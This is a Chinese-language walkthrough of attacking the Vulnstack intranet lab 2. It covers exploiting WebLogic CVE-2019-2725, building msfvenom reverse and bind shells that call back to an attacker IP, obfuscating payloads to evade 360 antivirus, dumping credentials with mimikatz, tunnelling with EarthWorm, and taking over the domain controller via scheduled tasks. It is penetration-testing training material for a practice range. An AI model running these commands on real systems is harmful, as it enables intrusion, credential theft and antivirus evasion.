环境配置

内网2靶场由三台机器构成:WIN7、2008 server、2012 server

其中2008做为对外的web机,win7作为个人主机可上网,2012作为域控

网络适配器已经设置好了不用自己设置

初始密码1qaz@WSX

WEB主机初始的状态默认密码无法登录,切换用户 de1ay/1qaz@WSX ,然后修改WEB\de1ay的密码

注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可,管理员账号密码:Administrator/1qaz@WSX

由于web主机自己设置了ip地址,还需要改成自动获取ip地址,不然kali无法探测该主机

外网主机信息收集

nmap探测端口,一个web服务器一个个人pc

目标web主机对外的ip地址为192.168.200.30 ,开放了80,但是看了看什么东西也没有,1433sqlserver,7001http服务 weblogic中间件

由于刚刚环境配置的时候开的就是weblogic服务,所以猜测肯定这里有问题

访问weblogic后台 默认路径为192.168.200.30:7001/console,得到了一个版本号10.3.6.0

因为我对这个中间件不是很熟悉,先kali searchsploit搜索了一下大概存在哪漏洞

看到存在命令执行漏洞和java反序列化,但是我也不知道具体是哪一个,所以网上找到了一个针对weblogic的扫描工具rabbitmask/WeblogicScan

python3 WeblogicScan.py -u 192.168.200.30 -p 7001

看到检测出只有java反序列化漏洞 编号为CVE-2019-2725,搜索一下关于这个漏洞的复现,查到有两种方法

CVE-2019-2725漏洞利用

1、上msf搜索关于这个漏洞的利用模块

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target 1
set RHOSTS 192.168.200.30
set LHOST 192.168.200.6
run

但是攻击失败了,突然意识到靶机有360防御,关掉之后才能攻击。

2、网上的exp(github.com)

漏洞存在的页面:(若页面存在则有漏洞)

/_async/AsyncResponseService

但是网上的exp我每个都试了,弄了一下午结果没有一个成功的,后来看到360的日志,才发现原来是他搞得鬼,把所有的数据包都拦截了,那我就很疑惑网上的wp到底是怎么写出来的

看来绕过360还是一个大工程啊

功夫不负有心人我差点想要放弃了,还好还是找到了CVE-2019-2725对应的利用脚本,kali如下,下载地址 https://www.exploit-db.com/download/46780

使用方法:将exploit修改成msf生成的ps1文件

但是有360,还得考虑免杀

先用msf生成ps1脚本

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.6 LPORT=4444 -f psh-cmd > shell.ps1

免杀这里我选择了Invoke-Obfuscation 参考文章Invoke-Obfuscation混淆免杀过360和火绒_csdnmmd的博客-CSDN博客

Invoke-Obfuscation下载链接:https://github.com/danielbohannon/Invoke-Obfuscation 

设置执行策略Set-executionpolicy Unrestricted:允许所有脚本运行。

Import-Module Invoke-Obfuscation.psd1 \\导入模块
Invoke-Obfuscation \\加载模块

设置要免杀的木马

set scriptpath C:\Users\administrator.WIN-2008\Desktop\shell.ps1

选择编码混淆 ENCODING

这里选择的类型有八个,分别是不同编码,我先试试第一个,输入1,就会自动生成

输入

out 1.ps1

将文件输出,可以看到免杀好的ps1脚本已经做好了

回到kali,我想先是试试看没免杀的脚本会不会被360拦截,于是就先把没免杀的ps1复制到exploit中

python 46780.py http://192.168.200.30:7001/_async/AsyncResponseServiceHttps

msf监听

果然还是被拦截了,接下来试试看免杀之后的

但是,花了一晚上所有都试了一遍发现没有一个能用的,直到我把360关了之后,再重新试了一下,发现就算没有360也没有用,害能力不够,免杀这边只能先放放了。

内网信息收集  

跳过绕360那一步拿到web主机权限  

getsystem提权失败,应该是因为360的原因

MSF下的会话传给CS

msf使用注入模块 + cs创建Listener监听 (相同payload)

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost (cs listener ip)
set lport (cs listener port)
set session (id)
run

利用cs通过web服务器进行对内网的主机扫描发现

扫到的三台主机,都开了445,后面可以试试永恒之蓝

也可以利用msf通过web服务器进行对内网的主机扫描发现

进入shell 查看内网网段

for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="

有一台主机没扫到,我试了一下web机也ping不到pc不知道什么原因,用路由转发,让msf直接扫试试看

获取目标机内网地址网段

run get_local_subnets

通过background回到msf,使用route增加对应路由,2是sessions值

route add 10.10.10.0 255.255.255.0 2

查看是否设置成功

route print

这样msf就能扫描到内网的主机了

回到meterpreter会话,扫描10.10.10.0网段

run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24

继续信息收集,查到域名为de1ay.com,存在两台域主机WEB和PC,域控制器为DC.de1ay.com,主机名为DC

net time /domain
net user /domain
net group "domain computers" /domain

CS runmimikatz

抓取到web/de1ay和de1ay/mssql用户的密码,但是没抓到域控的密码(其实通过之前收集到的用户名,也可以用这个密码撞一撞)

内网穿越

先设置代理让kali能访问内网

两种工具一个是earthworm,还有一个是ProxyChains

首先将EW上传到web主机上

在攻击机运行

./ew_for_linux64 -s rcsocks -l 1080 -e 4444

这条命令的意思是在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给4444端口  

然后在web主机运行

ew_for_Win.exe -s rssocks -d 192.168.200.6 -e 4444

这条命令的意思是在本机服务器上启动SOCKS5服务,然后反弹到192.168.200.6攻击机的4444端口

运行完后会显示连接OK,现在就可以通过访问攻击机的1080端口,使用win7的服务器上SOCKS5代理服务

接下来使用proxychains添加代理(KALI中自带)

输入打开proxychains进行编辑

vi /etc/proxychains4.conf

首先将dynamic_chain前面的注释符#删除

然后在底部改成内容 socks5 127.0.0.1 1080

保存并退出,现在kali可以访问内网了

setg Proxies socks5:127.0.0.1:1080 ,把msf代理进内网(也可以添加路由)

域内横向移动

既然抓到了本机的密码,也开启了3389,就远程登陆看看

 rdesktop 192.168.200.30:3389

进入后先把360关了

这里我只是试一试,但是居然能连接到

msf创建一个正向连接的shell

msfvenom -p windows/meterpreter/bind_tcp -f exe -o shell.exe

 上传到web机在上传到域控 

定时任务

schtasks /create /s 10.10.10.10 /tn test /sc once /st 17:07 /tr c:\shell.exe /ru system /f 

 msf监听

set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.10
set lport 4444
run

拿到域控权限但提权失败,尝试手动提权

background
use local_exploit_suggester
show options
set session 4
run

每个都尝试用了一遍,在切换回sessions

用永恒之蓝试试攻击域控

也可以直接获取域控权限

(后面我又试了一下永恒之蓝,但是一直是蓝屏,我也不知道这次是怎么弄的)

psexec.exe也行

总结

这个靶机可能是我配置不太对,做起来有些奇怪,win2008的权限似乎有点高不用ipc连接就能连接到域控,win2008和win7互相 ping不通,也连接不到,感觉win7在这个靶场中存在的意义不大,这个靶场的难点应该就是过360那部分了,后续得学习一下免杀

  

  

Vulnstack内网靶场2的更多相关文章

  1. Vulnstack内网靶场3

    Vulnstack内网靶场3 (qiyuanxuetang.net) 环境配置 打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行. 挂起状态,账号已默认登陆,cento ...

  2. Vulnstack内网靶场1

    最近发现了一个内网的靶场网站,简单配置一下网络就可以,不用自己搭建这么麻烦漏洞信息 (qiyuanxuetang.net) 环境配置 内网1靶场由三台机器构成:WIN7.2008 server.200 ...

  3. Vulnstack内网靶场5

    实验环境搭建 漏洞详情 (qiyuanxuetang.net) "此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集.Web攻防.代码审计.漏洞利用. ...

  4. Vulnstack内网靶场4

    环境 漏洞详情 (qiyuanxuetang.net) 仅主机模式内网网段192.168.183.0/24 外网网段192.168.157.0/24 其中Ubuntu作为对外的内网机器 攻击机kali ...

  5. CS内网横向移动 模拟渗透实操 超详细

    @Webkio 前言: 最近在跟朋友搞一些项目玩,所以最近没怎么更新内容接下来我将在虚拟中模拟内网多层靶场,进行内网渗透实验,超详细,适合小白.本文仅供网安学习,不可利用于未授权渗透工作中,否则后果自 ...

  6. 内网渗透之vlunstack靶场

    前言:vlunstack靶场是由三台虚拟机构成,一台是有外网ip的windows7系统(nat模式),另外两台是纯内网机器(外网ping不通),分别是域控win2008和内网主机win2003,这里就 ...

  7. 利用MSF实现三层网络的一次内网渗透

    目标IP192.168.31.207 很明显这是一个文件上传的靶场 白名单限制 各种尝试之后发现这是一个检测文件类型的限制 上传php大马文件后抓包修改其类型为  image/jpeg 上传大马之后发 ...

  8. 利用Metasploit 打入ThinkPHP内网...

    出品|MS08067实验室(www.ms08067.com) 本文作者:dch(Ms08067实验室 SRSP TEAM小组成员) 一.利用Metasploit进行攻击的流程图   Metasploi ...

  9. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...

随机推荐

  1. JavaSE基础之Java中的数据类型

    基本数据类型:8个 整数类型(4):byte short int long 浮点类型(2):float double 字符类型:char 布尔类型:boolean 引用数据类型:3个 数组 类:cla ...

  2. Java创建线程池的方法

    Executors创建四种线程池: CachedThreadPool:可缓存的线程池,该线程池中没有核心线程,非核心线程的数量为Integer.max_value,当有需要时创建线程来执行任务,没有需 ...

  3. 控制台:控制台艺术字 & 为控制台输出增加样式(console.log( ))

    控制台/代码文档LOGO 除了知乎的控制台,大部分的代码文档都有这样的字符logo. 下面这个网站可以自动生成符号艺术字: Text to ASCII Art Generator (TAAG) 控制台 ...

  4. MySQL实战45讲(21--25)-笔记

    21 | 为什么我只改一行的语句,锁这么多? 加锁规则里面:包含了两个"原则".两个"优化"和一个"bug". 原则 1:加锁的基本单位是 ...

  5. 对easyui-validatebox的验证类型的扩展

    easyui为我们提供了validatebox类型的组件,使用它可以完成自动验证,十分方便.要注意的是,easyui中的各个组件都是有继承关系的.通过查看api,textbox继承validatebo ...

  6. Spring5(七)——AOP注解

    一.AOP注解 1.介绍 上一节介绍了 AspectJ 框架如何实现 AOP,具体的实现方式是通过 xml 来进行配置的.xml 方式思路清晰,便于理解,但是书写过于麻烦.这一节介绍注解的方式来进行 ...

  7. (6)java Spring Cloud+Spring boot+mybatis企业快速开发架构之SpringCloud-Spring Boot项目详细搭建步骤

    ​ 在 Spring Tools 4 for Eclipse 中依次选择 File->New->Maven Project,然后在出现的界面中按图所示增加相关信息. ​ <paren ...

  8. 线程调用BeginInvoke

    线程异步调用 Thread objThread = new Thread(new ThreadStart(delegate             {                 Dispatch ...

  9. 1 行Python代码能干哪些事,这 13个你知道吗?

    首先你要了解一下Python之禅,一行代码输出"The Zen of Python": python -c "import this"""& ...

  10. xshell与小键盘问题

    有些程序员的键盘是带有小数字键的,在使用xshell中文版时就可能出现一些小状况,本集就同大家分析一下使用数字键盘出现乱码的情况怎么办. 图1:使用数字小键盘出现乱码 问题描述: 在xshell上用v ...